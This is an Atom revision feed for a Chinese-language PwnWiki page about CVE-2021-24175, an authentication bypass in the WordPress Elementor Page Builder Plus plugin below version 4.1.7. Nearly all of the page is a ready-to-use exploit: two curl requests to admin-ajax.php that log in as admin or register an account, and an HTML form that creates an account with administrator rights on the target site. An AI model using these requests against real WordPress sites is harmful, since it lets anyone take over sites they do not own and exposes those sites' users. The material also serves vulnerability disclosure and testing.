https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2021-24175_WordPress_Elementor_Page_Builder_Plus%E6%8F%92%E4%BB%B6%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E
CVE-2021-24175 WordPress Elementor Page Builder Plus插件身份驗證繞過漏洞 - Revision history
2026-04-16T15:53:50Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2021-24175_WordPress_Elementor_Page_Builder_Plus%E6%8F%92%E4%BB%B6%E8%BA%AB%E4%BB%BD%E9%A9%97%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&diff=3023&oldid=prev
Pwnwiki: Created page with "==影響版本== Elementor Page Builder <4.1.7 ==POC== <pre> curl -X POST --data action=theplus_ajax_login --data email=admin -iLSS https://example.com/wp-admin/admin-ajax.ph..."
2021-05-22T02:00:34Z
<p>Created page with "==影響版本== Elementor Page Builder <4.1.7 ==POC== <pre> curl -X POST --data action=theplus_ajax_login --data email=admin -iLSS https://example.com/wp-admin/admin-ajax.ph..."</p>
<p><b>New page</b></p><div>==影響版本==<br />
Elementor Page Builder <4.1.7<br />
<br />
==POC==<br />
<pre><br />
curl -X POST --data action=theplus_ajax_login --data email=admin -iLSS https://example.com/wp-admin/admin-ajax.php<br />
curl -X POST --data action=theplus_google_ajax_register --data email=admin --data nonce=a -iLSS https://example.com/wp-admin/admin-ajax.php<br />
</pre><br />
<br />
"theplus_google_ajax_register" AJAX請求還可以允許任何未經身份驗證的用戶創建具有任意角色的帳戶，例如admin，然後登錄。<br />
<br />
html：<br />
<pre><br />
<form method="POST" action="https://example.com/wp-admin/admin-ajax.php"><br />
<input value="newadmin" name="name" type="text"><br />
<input value="test@example.com" name="email" type="text"><br />
<input value="test" name="password" type="text"><br />
<input value="theplus_google_ajax_register" name="action" type="text"><br />
<input value="administrator" name="tp_user_reg_role" type="text"><br />
<input value="any" name="nonce" type="text"><br />
<input type="submit" /><br />
</form><br />
</pre></div>
Pwnwiki